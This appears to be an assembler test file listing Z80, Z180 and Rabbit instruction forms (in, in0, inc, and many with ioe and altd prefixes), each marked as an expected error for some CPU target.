in 255 ; Error
in a, (-128) ; Error
in a, (127) ; Error
in a, (255) ; Error
in a, (c) ; Error
in b, (c) ; Error
in c, (c) ; Error
in d, (c) ; Error
in e, (c) ; Error
in f, (c) ; Error
in h, (c) ; Error
in l, (c) ; Error
in0 (-128) ; Error
in0 (127) ; Error
in0 (255) ; Error
in0 a, (-128) ; Error
in0 a, (127) ; Error
in0 a, (255) ; Error
in0 b, (-128) ; Error
in0 b, (127) ; Error
in0 b, (255) ; Error
in0 c, (-128) ; Error
in0 c, (127) ; Error
in0 c, (255) ; Error
in0 d, (-128) ; Error
in0 d, (127) ; Error
in0 d, (255) ; Error
in0 e, (-128) ; Error
in0 e, (127) ; Error
in0 e, (255) ; Error
in0 f, (-128) ; Error
in0 f, (127) ; Error
in0 f, (255) ; Error
in0 h, (-128) ; Error
in0 h, (127) ; Error
in0 h, (255) ; Error
in0 l, (-128) ; Error
in0 l, (127) ; Error
in0 l, (255) ; Error
inc (ix) ; Error
inc (ix+127) ; Error
inc (ix-128) ; Error
inc (iy) ; Error
inc (iy+127) ; Error
inc (iy-128) ; Error
inc a' ; Error
inc b' ; Error
inc bc' ; Error
inc c' ; Error
inc d' ; Error
inc de' ; Error
inc e' ; Error
inc h' ; Error
inc hl' ; Error
inc ix ; Error
inc ixh ; Error
inc ixl ; Error
inc iy ; Error
inc iyh ; Error
inc iyl ; Error
inc l' ; Error
ind ; Error
indr ; Error
ini ; Error
inir ; Error
ioe adc (hl) ; Error
ioe adc (ix) ; Error
ioe adc (ix+127) ; Error
ioe adc (ix-128) ; Error
ioe adc (iy) ; Error
ioe adc (iy+127) ; Error
ioe adc (iy-128) ; Error
ioe adc a', (hl) ; Error
ioe adc a', (ix) ; Error
ioe adc a', (ix+127) ; Error
ioe adc a', (ix-128) ; Error
ioe adc a', (iy) ; Error
ioe adc a', (iy+127) ; Error
ioe adc a', (iy-128) ; Error
ioe adc a, (hl) ; Error
ioe adc a, (ix) ; Error
ioe adc a, (ix+127) ; Error
ioe adc a, (ix-128) ; Error
ioe adc a, (iy) ; Error
ioe adc a, (iy+127) ; Error
ioe adc a, (iy-128) ; Error
ioe add (hl) ; Error
ioe add (ix) ; Error
ioe add (ix+127) ; Error
ioe add (ix-128) ; Error
ioe add (iy) ; Error
ioe add (iy+127) ; Error
ioe add (iy-128) ; Error
ioe add a', (hl) ; Error
ioe add a', (ix) ; Error
ioe add a', (ix+127) ; Error
ioe add a', (ix-128) ; Error
ioe add a', (iy) ; Error
ioe add a', (iy+127) ; Error
ioe add a', (iy-128) ; Error
ioe add a, (hl) ; Error
ioe add a, (ix) ; Error
ioe add a, (ix+127) ; Error
ioe add a, (ix-128) ; Error
ioe add a, (iy) ; Error
ioe add a, (iy+127) ; Error
ioe add a, (iy-128) ; Error
ioe altd adc (hl) ; Error
ioe altd adc (ix) ; Error
ioe altd adc (ix+127) ; Error
ioe altd adc (ix-128) ; Error
ioe altd adc (iy) ; Error
ioe altd adc (iy+127) ; Error
ioe altd adc (iy-128) ; Error
ioe altd adc a, (hl) ; Error
ioe altd adc a, (ix) ; Error
ioe altd adc a, (ix+127) ; Error
ioe altd adc a, (ix-128) ; Error
ioe altd adc a, (iy) ; Error
ioe altd adc a, (iy+127) ; Error
ioe altd adc a, (iy-128) ; Error
ioe altd add (hl) ; Error
ioe altd add (ix) ; Error
ioe altd add (ix+127) ; Error
ioe altd add (ix-128) ; Error
ioe altd add (iy) ; Error
ioe altd add (iy+127) ; Error
ioe altd add (iy-128) ; Error
ioe altd add a, (hl) ; Error
ioe altd add a, (ix) ; Error
ioe altd add a, (ix+127) ; Error
ioe altd add a, (ix-128) ; Error
ioe altd add a, (iy) ; Error
ioe altd add a, (iy+127) ; Error
ioe altd add a, (iy-128) ; Error
ioe altd and (hl) ; Error
ioe altd and (ix) ; Error
ioe altd and (ix+127) ; Error
ioe altd and (ix-128) ; Error
ioe altd and (iy) ; Error
ioe altd and (iy+127) ; Error
ioe altd and (iy-128) ; Error
ioe altd and a, (hl) ; Error
ioe altd and a, (ix) ; Error
ioe altd and a, (ix+127) ; Error
ioe altd and a, (ix-128) ; Error
ioe altd and a, (iy) ; Error
ioe altd and a, (iy+127) ; Error
ioe altd and a, (iy-128) ; Error
ioe altd bit -1, (hl) ; Error
ioe altd bit -1, (hl) ; Error
ioe altd bit -1, (ix) ; Error
ioe altd bit -1, (ix) ; Error
ioe altd bit -1, (ix+127) ; Error
ioe altd bit -1, (ix+127) ; Error
ioe altd bit -1, (ix-128) ; Error
ioe altd bit -1, (ix-128) ; Error
ioe altd bit -1, (iy) ; Error
ioe altd bit -1, (iy) ; Error
ioe altd bit -1, (iy+127) ; Error
ioe altd bit -1, (iy+127) ; Error
ioe altd bit -1, (iy-128) ; Error
ioe altd bit -1, (iy-128) ; Error
ioe altd bit 0, (hl) ; Error
ioe altd bit 0, (ix) ; Error
ioe altd bit 0, (ix+127) ; Error
ioe altd bit 0, (ix-128) ; Error
ioe altd bit 0, (iy) ; Error
ioe altd bit 0, (iy+127) ; Error
ioe altd bit 0, (iy-128) ; Error
ioe altd bit 1, (hl) ; Error
ioe altd bit 1, (ix) ; Error
ioe altd bit 1, (ix+127) ; Error
ioe altd bit 1, (ix-128) ; Error
ioe altd bit 1, (iy) ; Error
ioe altd bit 1, (iy+127) ; Error
ioe altd bit 1, (iy-128) ; Error
ioe altd bit 2, (hl) ; Error
ioe altd bit 2, (ix) ; Error
ioe altd bit 2, (ix+127) ; Error
ioe altd bit 2, (ix-128) ; Error
ioe altd bit 2, (iy) ; Error
ioe altd bit 2, (iy+127) ; Error
ioe altd bit 2, (iy-128) ; Error
ioe altd bit 3, (hl) ; Error
ioe altd bit 3, (ix) ; Error
ioe altd bit 3, (ix+127) ; Error
ioe altd bit 3, (ix-128) ; Error
ioe altd bit 3, (iy) ; Error
ioe altd bit 3, (iy+127) ; Error
ioe altd bit 3, (iy-128) ; Error
ioe altd bit 4, (hl) ; Error
ioe altd bit 4, (ix) ; Error
ioe altd bit 4, (ix+127) ; Error
ioe altd bit 4, (ix-128) ; Error
ioe altd bit 4, (iy) ; Error
ioe altd bit 4, (iy+127) ; Error
ioe altd bit 4, (iy-128) ; Error
ioe altd bit 5, (hl) ; Error
ioe altd bit 5, (ix) ; Error
ioe altd bit 5, (ix+127) ; Error
ioe altd bit 5, (ix-128) ; Error
ioe altd bit 5, (iy) ; Error
ioe altd bit 5, (iy+127) ; Error
ioe altd bit 5, (iy-128) ; Error
ioe altd bit 6, (hl) ; Error
ioe altd bit 6, (ix) ; Error
ioe altd bit 6, (ix+127) ; Error
ioe altd bit 6, (ix-128) ; Error
ioe altd bit 6, (iy) ; Error
ioe altd bit 6, (iy+127) ; Error
ioe altd bit 6, (iy-128) ; Error
ioe altd bit 7, (hl) ; Error
ioe altd bit 7, (ix) ; Error
ioe altd bit 7, (ix+127) ; Error
ioe altd bit 7, (ix-128) ; Error
ioe altd bit 7, (iy) ; Error
ioe altd bit 7, (iy+127) ; Error
ioe altd bit 7, (iy-128) ; Error
ioe altd bit 8, (hl) ; Error
ioe altd bit 8, (hl) ; Error
ioe altd bit 8, (ix) ; Error
ioe altd bit 8, (ix) ; Error
ioe altd bit 8, (ix+127) ; Error
ioe altd bit 8, (ix+127) ; Error
ioe altd bit 8, (ix-128) ; Error
ioe altd bit 8, (ix-128) ; Error
ioe altd bit 8, (iy) ; Error
ioe altd bit 8, (iy) ; Error
ioe altd bit 8, (iy+127) ; Error
ioe altd bit 8, (iy+127) ; Error
ioe altd bit 8, (iy-128) ; Error
ioe altd bit 8, (iy-128) ; Error
ioe altd cp (hl) ; Error
ioe altd cp (ix) ; Error
ioe altd cp (ix+127) ; Error
ioe altd cp (ix-128) ; Error
ioe altd cp (iy) ; Error
ioe altd cp (iy+127) ; Error
ioe altd cp (iy-128) ; Error
ioe altd cp a, (hl) ; Error
ioe altd cp a, (ix) ; Error
ioe altd cp a, (ix+127) ; Error
ioe altd cp a, (ix-128) ; Error
ioe altd cp a, (iy) ; Error
ioe altd cp a, (iy+127) ; Error
ioe altd cp a, (iy-128) ; Error
ioe altd dec (hl) ; Error
ioe altd dec (ix) ; Error
ioe altd dec (ix+127) ; Error
ioe altd dec (ix-128) ; Error
ioe altd dec (iy) ; Error
ioe altd dec (iy+127) ; Error
ioe altd dec (iy-128) ; Error
ioe altd inc (hl) ; Error
ioe altd inc (ix) ; Error
ioe altd inc (ix+127) ; Error
ioe altd inc (ix-128) ; Error
ioe altd inc (iy) ; Error
ioe altd inc (iy+127) ; Error
ioe altd inc (iy-128) ; Error
ioe altd ld a, (-32768) ; Error
ioe altd ld a, (32767) ; Error
ioe altd ld a, (65535) ; Error
ioe altd ld a, (bc) ; Error
ioe altd ld a, (bc+) ; Error
ioe altd ld a, (bc-) ; Error
ioe altd ld a, (de) ; Error
ioe altd ld a, (de+) ; Error
ioe altd ld a, (de-) ; Error
ioe altd ld a, (hl) ; Error
ioe altd ld a, (hl+) ; Error
ioe altd ld a, (hl-) ; Error
ioe altd ld a, (hld) ; Error
ioe altd ld a, (hli) ; Error
ioe altd ld a, (ix) ; Error
ioe altd ld a, (ix+127) ; Error
ioe altd ld a, (ix-128) ; Error
ioe altd ld a, (iy) ; Error
ioe altd ld a, (iy+127) ; Error
ioe altd ld a, (iy-128) ; Error
ioe altd ld b, (hl) ; Error
ioe altd ld b, (ix) ; Error
ioe altd ld b, (ix+127) ; Error
ioe altd ld b, (ix-128) ; Error
ioe altd ld b, (iy) ; Error
ioe altd ld b, (iy+127) ; Error
ioe altd ld b, (iy-128) ; Error
ioe altd ld bc, (-32768) ; Error
ioe altd ld bc, (32767) ; Error
ioe altd ld bc, (65535) ; Error
ioe altd ld c, (hl) ; Error
ioe altd ld c, (ix) ; Error
ioe altd ld c, (ix+127) ; Error
ioe altd ld c, (ix-128) ; Error
ioe altd ld c, (iy) ; Error
ioe altd ld c, (iy+127) ; Error
ioe altd ld c, (iy-128) ; Error
ioe altd ld d, (hl) ; Error
ioe altd ld d, (ix) ; Error
ioe altd ld d, (ix+127) ; Error
ioe altd ld d, (ix-128) ; Error
ioe altd ld d, (iy) ; Error
ioe altd ld d, (iy+127) ; Error
ioe altd ld d, (iy-128) ; Error
ioe altd ld de, (-32768) ; Error
ioe altd ld de, (32767) ; Error
ioe altd ld de, (65535) ; Error
ioe altd ld e, (hl) ; Error
ioe altd ld e, (ix) ; Error
ioe altd ld e, (ix+127) ; Error
ioe altd ld e, (ix-128) ; Error
ioe altd ld e, (iy) ; Error
ioe altd ld e, (iy+127) ; Error
ioe altd ld e, (iy-128) ; Error
ioe altd ld h, (hl) ; Error
ioe altd ld h, (ix) ; Error
ioe altd ld h, (ix+127) ; Error
ioe altd ld h, (ix-128) ; Error
ioe altd ld h, (iy) ; Error
ioe altd ld h, (iy+127) ; Error
ioe altd ld h, (iy-128) ; Error
ioe altd ld hl, (-32768) ; Error
ioe altd ld hl, (32767) ; Error
ioe altd ld hl, (65535) ; Error
ioe altd ld hl, (hl) ; Error
ioe altd ld hl, (hl+127) ; Error
ioe altd ld hl, (hl-128) ; Error
ioe altd ld hl, (ix) ; Error
ioe altd ld hl, (ix+127) ; Error
ioe altd ld hl, (ix-128) ; Error
ioe altd ld hl, (iy) ; Error
ioe altd ld hl, (iy+127) ; Error
ioe altd ld hl, (iy-128) ; Error
ioe altd ld l, (hl) ; Error
ioe altd ld l, (ix) ; Error
ioe altd ld l, (ix+127) ; Error
ioe altd ld l, (ix-128) ; Error
ioe altd ld l, (iy) ; Error
ioe altd ld l, (iy+127) ; Error
ioe altd ld l, (iy-128) ; Error
ioe altd or (hl) ; Error
ioe altd or (ix) ; Error
ioe altd or (ix+127) ; Error
ioe altd or (ix-128) ; Error
ioe altd or (iy) ; Error
ioe altd or (iy+127) ; Error
ioe altd or (iy-128) ; Error
ioe altd or a, (hl) ; Error
ioe altd or a, (ix) ; Error
ioe altd or a, (ix+127) ; Error
ioe altd or a, (ix-128) ; Error
ioe altd or a, (iy) ; Error
ioe altd or a, (iy+127) ; Error
ioe altd or a, (iy-128) ; Error
ioe altd rl (hl) ; Error
ioe altd rl (ix) ; Error
ioe altd rl (ix+127) ; Error
ioe altd rl (ix-128) ; Error
ioe altd rl (iy) ; Error
ioe altd rl (iy+127) ; Error
ioe altd rl (iy-128) ; Error
ioe altd rlc (hl) ; Error
ioe altd rlc (ix) ; Error
ioe altd rlc (ix+127) ; Error
ioe altd rlc (ix-128) ; Error
ioe altd rlc (iy) ; Error
ioe altd rlc (iy+127) ; Error
ioe altd rlc (iy-128) ; Error
ioe altd rr (hl) ; Error
ioe altd rr (ix) ; Error
ioe altd rr (ix+127) ; Error
ioe altd rr (ix-128) ; Error
ioe altd rr (iy) ; Error
ioe altd rr (iy+127) ; Error
ioe altd rr (iy-128) ; Error
ioe altd rrc (hl) ; Error
ioe altd rrc (ix) ; Error
ioe altd rrc (ix+127) ; Error
ioe altd rrc (ix-128) ; Error
ioe altd rrc (iy) ; Error
ioe altd rrc (iy+127) ; Error
ioe altd rrc (iy-128) ; Error
ioe altd sbc (hl) ; Error
ioe altd sbc (ix) ; Error
ioe altd sbc (ix+127) ; Error
ioe altd sbc (ix-128) ; Error
ioe altd sbc (iy) ; Error
ioe altd sbc (iy+127) ; Error
ioe altd sbc (iy-128) ; Error
ioe altd sbc a, (hl) ; Error
ioe altd sbc a, (ix) ; Error
ioe altd sbc a, (ix+127) ; Error
ioe altd sbc a, (ix-128) ; Error
ioe altd sbc a, (iy) ; Error
ioe altd sbc a, (iy+127) ; Error
ioe altd sbc a, (iy-128) ; Error
ioe altd sla (hl) ; Error
ioe altd sla (ix) ; Error
ioe altd sla (ix+127) ; Error
ioe altd sla (ix-128) ; Error
ioe altd sla (iy) ; Error
ioe altd sla (iy+127) ; Error
ioe altd sla (iy-128) ; Error
ioe altd sra (hl) ; Error
ioe altd sra (ix) ; Error
ioe altd sra (ix+127) ; Error
ioe altd sra (ix-128) ; Error
ioe altd sra (iy) ; Error
ioe altd sra (iy+127) ; Error
ioe altd sra (iy-128) ; Error
ioe altd srl (hl) ; Error
ioe altd srl (ix) ; Error
ioe altd srl (ix+127) ; Error
ioe altd srl (ix-128) ; Error
ioe altd srl (iy) ; Error
ioe altd srl (iy+127) ; Error
ioe altd srl (iy-128) ; Error
ioe altd sub (hl) ; Error
ioe altd sub (ix) ; Error
ioe altd sub (ix+127) ; Error
ioe altd sub (ix-128) ; Error
ioe altd sub (iy) ; Error
ioe altd sub (iy+127) ; Error
ioe altd sub (iy-128) ; Error
ioe altd sub a, (hl) ; Error
ioe altd sub a, (ix) ; Error
ioe altd sub a, (ix+127) ; Error
ioe altd sub a, (ix-128) ; Error
ioe altd sub a, (iy) ; Error
ioe altd sub a, (iy+127) ; Error
ioe altd sub a, (iy-128) ; Error
ioe altd xor (hl) ; Error
ioe altd xor (ix) ; Error
ioe altd xor (ix+127) ; Error
ioe altd xor (ix-128) ; Error
ioe altd xor (iy) ; Error
ioe altd xor (iy+127) ; Error
ioe altd xor (iy-128) ; Error
ioe altd xor a, (hl) ; Error
ioe altd xor a, (ix) ; Error
ioe altd xor a, (ix+127) ; Error
ioe altd xor a, (ix-128) ; Error
ioe altd xor a, (iy) ; Error
ioe altd xor a, (iy+127) ; Error
ioe altd xor a, (iy-128) ; Error
ioe and (hl) ; Error
ioe and (ix) ; Error
ioe and (ix+127) ; Error
ioe and (ix-128) ; Error
ioe and (iy) ; Error
ioe and (iy+127) ; Error
ioe and (iy-128) ; Error
ioe and a', (hl) ; Error
ioe and a', (ix) ; Error
ioe and a', (ix+127) ; Error
ioe and a', (ix-128) ; Error
ioe and a', (iy) ; Error
ioe and a', (iy+127) ; Error
ioe and a', (iy-128) ; Error
ioe and a, (hl) ; Error
ioe and a, (ix) ; Error
ioe and a, (ix+127) ; Error
ioe and a, (ix-128) ; Error
ioe and a, (iy) ; Error
ioe and a, (iy+127) ; Error
ioe and a, (iy-128) ; Error
ioe bit -1, (hl) ; Error
ioe bit -1, (hl) ; Error
ioe bit -1, (ix) ; Error
ioe bit -1, (ix) ; Error
ioe bit -1, (ix+127) ; Error
ioe bit -1, (ix+127) ; Error
ioe bit -1, (ix-128) ; Error
ioe bit -1, (ix-128) ; Error
ioe bit -1, (iy) ; Error
ioe bit -1, (iy) ; Error
ioe bit -1, (iy+127) ; Error
ioe bit -1, (iy+127) ; Error
ioe bit -1, (iy-128) ; Error
ioe bit -1, (iy-128) ; Error
ioe bit 0, (hl) ; Error
ioe bit 0, (ix) ; Error
ioe bit 0, (ix+127) ; Error
ioe bit 0, (ix-128) ; Error
ioe bit 0, (iy) ; Error
ioe bit 0, (iy+127) ; Error
ioe bit 0, (iy-128) ; Error
ioe bit 1, (hl) ; Error
ioe bit 1, (ix) ; Error
ioe bit 1, (ix+127) ; Error
ioe bit 1, (ix-128) ; Error
ioe bit 1, (iy) ; Error
ioe bit 1, (iy+127) ; Error
ioe bit 1, (iy-128) ; Error
ioe bit 2, (hl) ; Error
ioe bit 2, (ix) ; Error
ioe bit 2, (ix+127) ; Error
ioe bit 2, (ix-128) ; Error
ioe bit 2, (iy) ; Error
ioe bit 2, (iy+127) ; Error
ioe bit 2, (iy-128) ; Error
ioe bit 3, (hl) ; Error
ioe bit 3, (ix) ; Error
ioe bit 3, (ix+127) ; Error
ioe bit 3, (ix-128) ; Error
ioe bit 3, (iy) ; Error
ioe bit 3, (iy+127) ; Error
ioe bit 3, (iy-128) ; Error
ioe bit 4, (hl) ; Error
ioe bit 4, (ix) ; Error
ioe bit 4, (ix+127) ; Error
ioe bit 4, (ix-128) ; Error
ioe bit 4, (iy) ; Error
ioe bit 4, (iy+127) ; Error
ioe bit 4, (iy-128) ; Error
ioe bit 5, (hl) ; Error
ioe bit 5, (ix) ; Error
ioe bit 5, (ix+127) ; Error
ioe bit 5, (ix-128) ; Error
ioe bit 5, (iy) ; Error
ioe bit 5, (iy+127) ; Error
ioe bit 5, (iy-128) ; Error
ioe bit 6, (hl) ; Error
ioe bit 6, (ix) ; Error
ioe bit 6, (ix+127) ; Error
ioe bit 6, (ix-128) ; Error
ioe bit 6, (iy) ; Error
ioe bit 6, (iy+127) ; Error
ioe bit 6, (iy-128) ; Error
ioe bit 7, (hl) ; Error
ioe bit 7, (ix) ; Error
ioe bit 7, (ix+127) ; Error
ioe bit 7, (ix-128) ; Error
ioe bit 7, (iy) ; Error
ioe bit 7, (iy+127) ; Error
ioe bit 7, (iy-128) ; Error
ioe bit 8, (hl) ; Error
ioe bit 8, (hl) ; Error
ioe bit 8, (ix) ; Error
ioe bit 8, (ix) ; Error
ioe bit 8, (ix+127) ; Error
ioe bit 8, (ix+127) ; Error
ioe bit 8, (ix-128) ; Error
ioe bit 8, (ix-128) ; Error
ioe bit 8, (iy) ; Error
ioe bit 8, (iy) ; Error
ioe bit 8, (iy+127) ; Error
ioe bit 8, (iy+127) ; Error
ioe bit 8, (iy-128) ; Error
ioe bit 8, (iy-128) ; Error
ioe bit.a -1, (hl) ; Error
ioe bit.a -1, (hl) ; Error
ioe bit.a -1, (ix) ; Error
ioe bit.a -1, (ix) ; Error
ioe bit.a -1, (ix+127) ; Error
ioe bit.a -1, (ix+127) ; Error
ioe bit.a -1, (ix-128) ; Error
ioe bit.a -1, (ix-128) ; Error
ioe bit.a -1, (iy) ; Error
ioe bit.a -1, (iy) ; Error
ioe bit.a -1, (iy+127) ; Error
ioe bit.a -1, (iy+127) ; Error
ioe bit.a -1, (iy-128) ; Error
ioe bit.a -1, (iy-128) ; Error
ioe bit.a 0, (hl) ; Error
ioe bit.a 0, (ix) ; Error
ioe bit.a 0, (ix+127) ; Error
ioe bit.a 0, (ix-128) ; Error
ioe bit.a 0, (iy) ; Error
ioe bit.a 0, (iy+127) ; Error
ioe bit.a 0, (iy-128) ; Error
ioe bit.a 1, (hl) ; Error
ioe bit.a 1, (ix) ; Error
ioe bit.a 1, (ix+127) ; Error
ioe bit.a 1, (ix-128) ; Error
ioe bit.a 1, (iy) ; Error
ioe bit.a 1, (iy+127) ; Error
ioe bit.a 1, (iy-128) ; Error
ioe bit.a 2, (hl) ; Error
ioe bit.a 2, (ix) ; Error
ioe bit.a 2, (ix+127) ; Error
ioe bit.a 2, (ix-128) ; Error
ioe bit.a 2, (iy) ; Error
ioe bit.a 2, (iy+127) ; Error
ioe bit.a 2, (iy-128) ; Error
ioe bit.a 3, (hl) ; Error
ioe bit.a 3, (ix) ; Error
ioe bit.a 3, (ix+127) ; Error
ioe bit.a 3, (ix-128) ; Error
ioe bit.a 3, (iy) ; Error
ioe bit.a 3, (iy+127) ; Error
ioe bit.a 3, (iy-128) ; Error
ioe bit.a 4, (hl) ; Error
ioe bit.a 4, (ix) ; Error
ioe bit.a 4, (ix+127) ; Error
ioe bit.a 4, (ix-128) ; Error
ioe bit.a 4, (iy) ; Error
ioe bit.a 4, (iy+127) ; Error
ioe bit.a 4, (iy-128) ; Error
ioe bit.a 5, (hl) ; Error
ioe bit.a 5, (ix) ; Error
ioe bit.a 5, (ix+127) ; Error
ioe bit.a 5, (ix-128) ; Error
ioe bit.a 5, (iy) ; Error
ioe bit.a 5, (iy+127) ; Error
ioe bit.a 5, (iy-128) ; Error
ioe bit.a 6, (hl) ; Error
ioe bit.a 6, (ix) ; Error
ioe bit.a 6, (ix+127) ; Error
ioe bit.a 6, (ix-128) ; Error
ioe bit.a 6, (iy) ; Error
ioe bit.a 6, (iy+127) ; Error
ioe bit.a 6, (iy-128) ; Error
ioe bit.a 7, (hl) ; Error
ioe bit.a 7, (ix) ; Error
ioe bit.a 7, (ix+127) ; Error
ioe bit.a 7, (ix-128) ; Error
ioe bit.a 7, (iy) ; Error
ioe bit.a 7, (iy+127) ; Error
ioe bit.a 7, (iy-128) ; Error
ioe bit.a 8, (hl) ; Error
ioe bit.a 8, (hl) ; Error
ioe bit.a 8, (ix) ; Error
ioe bit.a 8, (ix) ; Error
ioe bit.a 8, (ix+127) ; Error
ioe bit.a 8, (ix+127) ; Error
ioe bit.a 8, (ix-128) ; Error
ioe bit.a 8, (ix-128) ; Error
ioe bit.a 8, (iy) ; Error
ioe bit.a 8, (iy) ; Error
ioe bit.a 8, (iy+127) ; Error
ioe bit.a 8, (iy+127) ; Error
ioe bit.a 8, (iy-128) ; Error
ioe bit.a 8, (iy-128) ; Error
ioe cmp (hl) ; Error
ioe cmp (ix) ; Error
ioe cmp (ix+127) ; Error
ioe cmp (ix-128) ; Error
ioe cmp (iy) ; Error
ioe cmp (iy+127) ; Error
ioe cmp (iy-128) ; Error
ioe cmp a, (hl) ; Error
ioe cmp a, (ix) ; Error
ioe cmp a, (ix+127) ; Error
ioe cmp a, (ix-128) ; Error
ioe cmp a, (iy) ; Error
ioe cmp a, (iy+127) ; Error
ioe cmp a, (iy-128) ; Error
ioe cp (hl) ; Error
ioe cp (ix) ; Error
ioe cp (ix+127) ; Error
ioe cp (ix-128) ; Error
ioe cp (iy) ; Error
ioe cp (iy+127) ; Error
ioe cp (iy-128) ; Error
ioe cp a, (hl) ; Error
ioe cp a, (ix) ; Error
ioe cp a, (ix+127) ; Error
ioe cp a, (ix-128) ; Error
ioe cp a, (iy) ; Error
ioe cp a, (iy+127) ; Error
ioe cp a, (iy-128) ; Error
ioe dec (hl) ; Error
ioe dec (ix) ; Error
ioe dec (ix+127) ; Error
ioe dec (ix-128) ; Error
ioe dec (iy) ; Error
ioe dec (iy+127) ; Error
ioe dec (iy-128) ; Error
ioe inc (hl) ; Error
ioe inc (ix) ; Error
ioe inc (ix+127) ; Error
ioe inc (ix-128) ; Error
ioe inc (iy) ; Error
ioe inc (iy+127) ; Error
ioe inc (iy-128) ; Error
ioe ld (-32768), a ; Error
ioe ld (-32768), bc ; Error
ioe ld (-32768), de ; Error
ioe ld (-32768), hl ; Error
ioe ld (-32768), ix ; Error
ioe ld (-32768), iy ; Error
ioe ld (-32768), sp ; Error
ioe ld (32767), a ; Error
ioe ld (32767), bc ; Error
ioe ld (32767), de ; Error
ioe ld (32767), hl ; Error
ioe ld (32767), ix ; Error
ioe ld (32767), iy ; Error
ioe ld (32767), sp ; Error
ioe ld (65535), a ; Error
ioe ld (65535), bc ; Error
ioe ld (65535), de ; Error
ioe ld (65535), hl ; Error
ioe ld (65535), ix ; Error
ioe ld (65535), iy ; Error
ioe ld (65535), sp ; Error
ioe ld (bc), a ; Error
ioe ld (bc+), a ; Error
ioe ld (bc-), a ; Error
ioe ld (de), a ; Error
ioe ld (de+), a ; Error
ioe ld (de-), a ; Error
ioe ld (hl), -128 ; Error
ioe ld (hl), 127 ; Error
ioe ld (hl), 255 ; Error
ioe ld (hl), a ; Error
ioe ld (hl), b ; Error
ioe ld (hl), c ; Error
ioe ld (hl), d ; Error
ioe ld (hl), e ; Error
ioe ld (hl), h ; Error
ioe ld (hl), hl ; Error
ioe ld (hl), l ; Error
ioe ld (hl+), a ; Error
ioe ld (hl+127), hl ; Error
ioe ld (hl-), a ; Error
ioe ld (hl-128), hl ; Error
ioe ld (hld), a ; Error
ioe ld (hli), a ; Error
ioe ld (ix), -128 ; Error
ioe ld (ix), 127 ; Error
ioe ld (ix), 255 ; Error
ioe ld (ix), a ; Error
ioe ld (ix), b ; Error
ioe ld (ix), c ; Error
ioe ld (ix), d ; Error
ioe ld (ix), e ; Error
ioe ld (ix), h ; Error
ioe ld (ix), hl ; Error
ioe ld (ix), l ; Error
ioe ld (ix+127), -128 ; Error
ioe ld (ix+127), 127 ; Error
ioe ld (ix+127), 255 ; Error
ioe ld (ix+127), a ; Error
ioe ld (ix+127), b ; Error
ioe ld (ix+127), c ; Error
ioe ld (ix+127), d ; Error
ioe ld (ix+127), e ; Error
ioe ld (ix+127), h ; Error
ioe ld (ix+127), hl ; Error
ioe ld (ix+127), l ; Error
ioe ld (ix-128), -128 ; Error
ioe ld (ix-128), 127 ; Error
ioe ld (ix-128), 255 ; Error
ioe ld (ix-128), a ; Error
ioe ld (ix-128), b ; Error
ioe ld (ix-128), c ; Error
ioe ld (ix-128), d ; Error
ioe ld (ix-128), e ; Error
ioe ld (ix-128), h ; Error
ioe ld (ix-128), hl ; Error
ioe ld (ix-128), l ; Error
ioe ld (iy), -128 ; Error
ioe ld (iy), 127 ; Error
ioe ld (iy), 255 ; Error
ioe ld (iy), a ; Error
ioe ld (iy), b ; Error
ioe ld (iy), c ; Error
ioe ld (iy), d ; Error
ioe ld (iy), e ; Error
ioe ld (iy), h ; Error
ioe ld (iy), hl ; Error
ioe ld (iy), l ; Error
ioe ld (iy+127), -128 ; Error
ioe ld (iy+127), 127 ; Error
ioe ld (iy+127), 255 ; Error
ioe ld (iy+127), a ; Error
ioe ld (iy+127), b ; Error
ioe ld (iy+127), c ; Error
ioe ld (iy+127), d ; Error
ioe ld (iy+127), e ; Error
ioe ld (iy+127), h ; Error
ioe ld (iy+127), hl ; Error
ioe ld (iy+127), l ; Error
ioe ld (iy-128), -128 ; Error
ioe ld (iy-128), 127 ; Error
ioe ld (iy-128), 255 ; Error
ioe ld (iy-128), a ; Error
ioe ld (iy-128), b ; Error
ioe ld (iy-128), c ; Error
ioe ld (iy-128), d ; Error
ioe ld (iy-128), e ; Error
ioe ld (iy-128), h ; Error
ioe ld (iy-128), hl ; Error
ioe ld (iy-128), l ; Error
ioe ld a', (-32768) ; Error
ioe ld a', (32767) ; Error
ioe ld a', (65535) ; Error
ioe ld a', (bc) ; Error
ioe ld a', (bc+) ; Error
ioe ld a', (bc-) ; Error
ioe ld a', (de) ; Error
ioe ld a', (de+) ; Error
ioe ld a', (de-) ; Error
ioe ld a', (hl) ; Error
ioe ld a', (hl+) ; Error
ioe ld a', (hl-) ; Error
ioe ld a', (hld) ; Error
ioe ld a', (hli) ; Error
ioe ld a', (ix) ; Error
ioe ld a', (ix+127) ; Error
ioe ld a', (ix-128) ; Error
ioe ld a', (iy) ; Error
ioe ld a', (iy+127) ; Error
ioe ld a', (iy-128) ; Error
ioe ld a, (-32768) ; Error
ioe ld a, (32767) ; Error
ioe ld a, (65535) ; Error
ioe ld a, (bc) ; Error
ioe ld a, (bc+) ; Error
ioe ld a, (bc-) ; Error
ioe ld a, (de) ; Error
ioe ld a, (de+) ; Error
ioe ld a, (de-) ; Error
ioe ld a, (hl) ; Error
ioe ld a, (hl+) ; Error
ioe ld a, (hl-) ; Error
ioe ld a, (hld) ; Error
ioe ld a, (hli) ; Error
ioe ld a, (ix) ; Error
ioe ld a, (ix+127) ; Error
ioe ld a, (ix-128) ; Error
ioe ld a, (iy) ; Error
ioe ld a, (iy+127) ; Error
ioe ld a, (iy-128) ; Error
ioe ld b', (hl) ; Error
ioe ld b', (ix) ; Error
ioe ld b', (ix+127) ; Error
ioe ld b', (ix-128) ; Error
ioe ld b', (iy) ; Error
ioe ld b', (iy+127) ; Error
ioe ld b', (iy-128) ; Error
ioe ld b, (hl) ; Error
ioe ld b, (ix) ; Error
ioe ld b, (ix+127) ; Error
ioe ld b, (ix-128) ; Error
ioe ld b, (iy) ; Error
ioe ld b, (iy+127) ; Error
ioe ld b, (iy-128) ; Error
ioe ld bc', (-32768) ; Error
ioe ld bc', (32767) ; Error
ioe ld bc', (65535) ; Error
ioe ld bc, (-32768) ; Error
ioe ld bc, (32767) ; Error
ioe ld bc, (65535) ; Error
ioe ld c', (hl) ; Error
ioe ld c', (ix) ; Error
ioe ld c', (ix+127) ; Error
ioe ld c', (ix-128) ; Error
ioe ld c', (iy) ; Error
ioe ld c', (iy+127) ; Error
ioe ld c', (iy-128) ; Error
ioe ld c, (hl) ; Error
ioe ld c, (ix) ; Error
ioe ld c, (ix+127) ; Error
ioe ld c, (ix-128) ; Error
ioe ld c, (iy) ; Error
ioe ld c, (iy+127) ; Error
